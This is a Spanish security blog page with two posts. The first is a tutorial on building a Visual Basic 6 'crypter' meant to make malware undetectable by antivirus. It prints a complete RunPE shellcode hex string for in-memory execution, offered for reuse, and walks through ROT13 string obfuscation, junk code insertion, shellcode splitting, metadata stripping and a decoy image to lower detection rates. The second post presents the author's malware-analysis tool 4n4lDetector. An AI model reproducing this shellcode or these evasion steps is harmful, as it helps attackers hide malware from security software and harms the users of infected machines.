Descubre 4n4lDetector Pro y Pescan.io

Analiza archivos de forma avanzada con 4n4lDetector Pro y prueba la versión online en Pescan.io. Todo desde tu navegador o tu escritorio.

Intelligent String para priorizar IOCs útiles, heurísticas de flujo anómalo, generación de reglas YARA con un clic, carving de encabezados PE, y detección de firmas Microsoft manipuladas. Compatible con 32/64-bit y formatos comunes (.exe, .dll, .sys, .ocx, .scr, .drv, .cpl). Funciona desde cualquier navegador o en tu escritorio con CLI, GUI y plataforma web integrada. Incluye hash intelligence, gamificación interna, Interest Words, y más de 10,000 reglas para detección avanzada de malware.

sábado, 23 de mayo de 2015

Antivirus K.O. 4n4lCrypter y evasión de antivirus desde código fuente

Pues va a ser que debo de estar jodidamente loco, teníais razón. No conozco a nadie salvo a mí mismo, que escribiendo un artículo medianamente técnico o serio como podría darse el caso de ser este, se levante a bailar durante un buen rato al ritmo de Juan Luis Guerra perdiendo completamente el hilo. Y os lo digo con conocimiento de causa, ya que sé exactamente qué es lo que hacéis en vuestra casa… ¡os veo por la webcam! ;)

Diréis… ¡bueno! estás loco, pero es “normal”, ya que estás solo en tu casa y no tienes por qué avergonzarte jajajaja ¡no! Esto me pasa a menudo y en cualquier lugar, no exactamente me pongo a dar brincos de alegría, ¿o sí?, pero siempre tengo una cancioncilla sonando en mi mente o algo gracioso que a veces no solo me hace partirme de risa solo, sino que involuntariamente también ayuda a evadirme.

Siempre criticaron mi forma de ver la vida, demasiado cercana a los mundos de Yupi, la cruel realidad no me daña y es eso o vivir una vida precaria… ejem… (osea de mierda). Como la que tiene una gran mayoría de mortales que me rodean y a su vez critican, sin ilusión o con algún problema psicológico no cuanto menos ilógico, el cual desconozco el porqué de tener que darle importancia alguna. Negatividad y falta de optimismo, ciegan incluso su visión de futuro más cercano. A veces se hace tan difícil combatir contra este tipo de personas lúgubres y taciturnas, que salir a la calle y pintarle una sonrisa a la vida se convierte en un auténtico reto. ¿De qué cojones iba la entrada de hoy? ¡Ah sí!

Los asiduos a leer mi blog, se habrán dado cuenta de que me lo paso piruleta haciendo reversing al malware, con el objetivo de hacerlos indetectables a los motores antivirus. En este caso no dejaremos a OllyDbg de lado, pero sí le restaremos importancia, ya que explicaré métodos evasivos desde el código fuente de un “crypter” desarrollado en mi habitual Visual Basic 6, al que he llamado… 4n4lCrypter.
Uno de los métodos más comunes para llevar a cabo la creación de un crypter, se trata de incluir un módulo RunPE que consiga ejecutar un binario “on the fly”, algo así como sin la necesidad de tocar el disco, ya que este pasa a ejecutarse directamente en memoria. Para lograr esto, existen varios módulos públicos. Nosotros en este caso utilizaremos una conocida ShellCode desarrollada por hamavb, la cual dejo a continuación por si alguno decide utilizarla en cualquier otro lenguaje de sus proyectos.

60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F0300006A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F40000008B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E84F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000

Sin duda existen millones de binarios repartidos por el mundo utilizando esta misma ShellCode ¿Cómo puede ser que los antivirus no la detecten? Sencillamente porque es imposible realizar el análisis en memoria de todos los binarios de un ordenador, por cuestiones de rendimiento. No obstante, si esta ShellCode se incluye como “string” en el binario en disco, las compañías antivirus tendrán mucho más sencilla su detección… lo que haremos en este caso es modificar el aspecto de la ShellCode. En primer lugar podemos utilizar alguna herramienta ShellcodeToExe para echarle un vistazo a las instrucciones, pudiendo incluir o modificar las rutinas como ya hicimos en anteriores entradas de Antivirus K.O.. El foro de Indetectables.net tiene una herramienta muy cómoda para realizar esta tarea, así que pegaremos la ristra y descargaremos el binario.


Tras arrastrar a OllyDbg el ejecutable generado, a ojo de buen cubero en la dirección de memoria 401020 vemos el PUSHAD que inicia el código de nuestra ShellCode.


Podremos aplicar los métodos aprendidos en el blog, para generar una nueva ristra a la que llevarnos a nuestro crypter.

Actualmente en una gran cantidad de foros sobre hacking, se incluyen publicaciones sobre diferentes modificaciones de esta ShellCode, normalmente sobre las “strings” del proyecto. Algo más sencillo de variar utilizando algoritmos de cifrado u otros métodos como concatenación de caracteres, con el equivalente número de la tabla ASCII entre las más comunes. La forma de llamarla sería mediante ASM en línea, con lo que evitando las limitaciones en Visual Basic 6 sobre los tamaños de las cadenas declaradas en el código fuente, reservaríamos una “string” dividida en siete trozos de la siguiente manera.


De igual manera que en el resto de métodos evasivos a bajo nivel, en este deberíamos de camuflar el objetivo principal de la aplicación, utilizando código basura para jugar al despiste con los motores antivirus. La inserción de este código basura puede realizarse de forma manual, incluyendo auténticas funciones o más bien lo contrario, utilizando un proyecto de otra aplicación para incluir nuestro código malicioso. Por otro lado existen aplicaciones llamadas “RunPE Generator”, las cuales generan módulos RunPE con variables, funciones y API con nombres aleatorios. En el caso de 4n4lCrypter, decidí utilizar una mezcla de varios métodos. Por un lado la herramienta Abronsius Code Obfuscator, con la que incrusté el algoritmo ROT13 para ofuscar las “strings” de la ShellCode agregando el algoritmo al proyecto.


Decidí que sería un buen código para el stub de mi crypter, la herramienta de cortado que utilizo en 4n4lDetector v1.0, así que la migré al nuevo proyecto y la incluí como formulario principal. Además agregué una imagen para darle más apariencia de aplicación con buenas intenciones… ¿Qué malware utiliza imágenes en sus proyectos? ¡Pues 4n4lCrypter!.


Decidí separar a la ShellCode ofuscada en diferentes módulos, y llamarla mediante funciones. La siguiente imagen muestra código basura ofuscado entre los fragmentos del RunPE.


La función principal del ShRunPE llamando por Calls al resto de fragmentos, junto al CallWindowProc el cual también podríamos ofuscar su nombre de función.


Después de compilar el stub, agregarle un icono y eliminar desde el editor hexadecimal la ruta de compilación y el VersionInfo desde la herramienta Resource Hacker, este es el resultado de las detecciones antivirus del stub de mi crypter.


Al cifrado se suma Avira y Eset, algo que os dejaré como tarea porque yo me voy de fiesta ;)

La próxima versión todavía no publicada de 4n4lDetector v1.1, mostraría la siguiente información del ejecutable. DllFunctionCall como siempre haciendo de las suyas ocultando información sobre las API utilizadas.


A continuación les dejo la imagen de la herramienta, un toque personal que últimamente acostumbro a darle a estas con la similitud de una consola. Nada que ver con mis anteriores crypters… Billar Crypter.



Pass: 4n0nym0us

Saludos 4n4les! ;)

domingo, 26 de abril de 2015

4n4lDetector v1.0

Me ha cambiado la vida, sí. Mejor dicho, he vuelto a cambiar mi vida. Estamos acostumbrados a esperar que el tiempo decida por nosotros, cuando realmente somos nosotros los que nos damos cuenta antes que nada ni nadie, de cuáles son nuestros problemas y necesidades. Llegados a este punto, solemos pensar en lo que pasaría si nuestra vida tomase otro rumbo, que consecuencias negativas o positivas tendrán nuestras decisiones, y de forma generalizada, tendemos a arrepentirnos por el miedo a terminar acumulando consecuencias negativas. Arriesgarse a veces puede llegar a ser incluso divertido, siempre nos quedará tiempo para partir de cero, pero y si de lo contrario… ¿vuelves al 10 que te hacía sentir bien?

Gracias a tanto cambio, y que se ha juntado con este domingo tan gris que me tiene retenido enelpc, hoy tendréis un regalo de algo que he estado preparando desde hace un mes hasta este momento. Sí, lleva impreso el sello de mis “Saludos 4n4les!” en su nombre, porque sé que los habíais echado de menos… eeehh guarrones, y guarronas jajajaj

¿Qué cojones es 4n4lDetector?

Sencillamente se trata de una nueva herramienta para hacer análisis sobre archivos ejecutables de Windows, con el objetivo de identificar de forma rápida, si este se trata o no de un malware. La mayoría de análisis se basan en la extracción de strings “ANSI” y “UNICODE” de los ejecutables en disco, aunque también trabaja con “Memory Dumps” de los binarios que analicemos. Como es lógico, esta última opción podría comprometer la seguridad de su equipo al ejecutar las muestras, con lo que se recomienda hacerlo en sistemas de laboratorio. Desde la ayuda de esta aplicación, se puede ver todo lo que es capaz de analizar, algo que seguirá creciendo y puliéndose en base a nuevas versiones.

Para no ser demasiado chapas, prefiero demostrar con imágenes su utilidad. Si recuerdan el método DAF Evolution, el cual se me ocurrió para hacer malware indetectable a los antivirus, la siguiente imagen muestra un análisis sobre un binario modificado con este método.

En un recuadro rojo se marcan las detecciones de “Binder/Joiner”, al haber encontrado dos binarios unidos en un mismo ejecutable. Además, se detectaron ejecuciones por “cmd.exe” para hacer un copiado de binarios.

Si recuerdan una de las entradas con la que más me he divertido llamada Injerto de una ShellCode en el Stub de un Crypter, en esta utilicé el Stub de un Crypter compilado en Delphi 7 para incluir una ShellCode con el STAGE1 de conexión reverse_tcp. Pues bien, la siguiente imagen muestra una pista que dejé, al haber creado un hueco tan grande de NOPs sobre el ejecutable junto a la detección por parte de 4n4lDetector del STAGE1.

También realiza análisis sobre las primeras instrucciones que se encuentran detrás del Entry Point del posible malware, buscando cosas tan típicas como la redirección del EP mediante la inserción de rutinas con saltos que también fue publicada en este blog.

Algunos malware son tan sencillos de detectar, que apenas hay que explicar nada. Apis para la captura de teclas, entradas de registro en el RUN con nombres conocidos y rutas de instalación.

El conocido troyano SpyNet con todos sus métodos Anti-VM, Anti-Sandbox y Anti-Debug.

La parte baja de la aplicación tiene un Check de seguridad, para hacer visible el botón que permite ejecutar la muestra en memoria.

Tras finalizar la ejecución seleccionando con antelación el tiempo en segundos que deseamos dejar la muestra corriendo antes de generar el Memory Dump, se muestra información sobre los procesos creados y sus PID. En caso de haberse efectuado sin problemas la copia, se mostrará la ruta y un acceso rápido a la carpeta donde se almacenarán los DMP.

Todo lo que permanecía cifrado en disco, aparece descifrado en memoria tras ejecutarse. Con lo que podremos leer las strtings al desnudo.

Inclusive, tiene la capacidad de extraer la configuración de algunos troyanos conocidos como DarkComet en sus Memory Dump. El siguiente es un servidor comprimido con UPX, que de poco sirve en memoria.

Por último, al tratarse de malware, este suele ir de la mano con pequeños tamaños de archivos ejecutables, con lo que en la modalidad de ejecución en memoria, es posible que se generen algunos que excedan los límites de análisis de la herramienta. Para llevar a cabo la extracción de la máxima información posible, 4n4lDetector trae consigo una herramienta de cortado de binarios, con la que podremos seleccionar el número de trozos para analizar.


Saludos 4n4les! ;)